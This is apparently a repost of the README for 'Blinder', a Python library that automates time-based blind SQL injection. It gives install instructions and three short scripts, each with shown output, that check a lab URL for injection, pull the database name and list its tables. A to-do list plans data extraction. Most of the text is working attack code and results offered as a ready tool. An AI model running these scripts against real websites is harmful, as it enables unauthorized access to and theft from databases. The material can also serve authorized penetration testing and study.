Blinder - A Python Library To Automate Time-Based Blind SQL Injection

Blinder – A Python Library To Automate Time-Based Blind SQL Injection

Blidner is a small python library to automate time-based blind SQL injection by using a pre defined queries as a functions to automate a rapid PoC development.

Installation
You can install Blinder using the following command:
pip install blinder
Or by downloading the source and importing it manually to your project.

Usage
To use blinder you need to import Blinder module then start using the main functions of Blinder.
You can use Blinder “with the current version” to do the following:

  • Check for time based injection.
  • Get database name.
  • Get tables names.

You can check for injection in a URL using the following code:

#!/usr/bin/python

import Blinder

blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)

print blind.check_injection()

The execution result will be:

root@kali:~/Desktop# python check.py
True
root@kali:~/Desktop#

You can Get database name using the following code:

#!/usr/bin/python

import Blinder

blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)

print "Database name is : %s " % blind.get_database()

And the results will be:

root@kali:~/Desktop# python get-database.py
Database name is : db1
root@kali:~/Desktop#

To get tables names you can use the following code:

#!/usr/bin/python

import Blinder

blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)

tables = blind.get_tables()

for table in tables:
print table

And the results will be:

root@kali:~/Desktop# python get-tables.py
blogs
notes
root@kali:~/Desktop#

TODO
A lot of features should be added soon like:

  • the ability of adding customized query
  • test injection points based on burp request
  • extract tables/columns data

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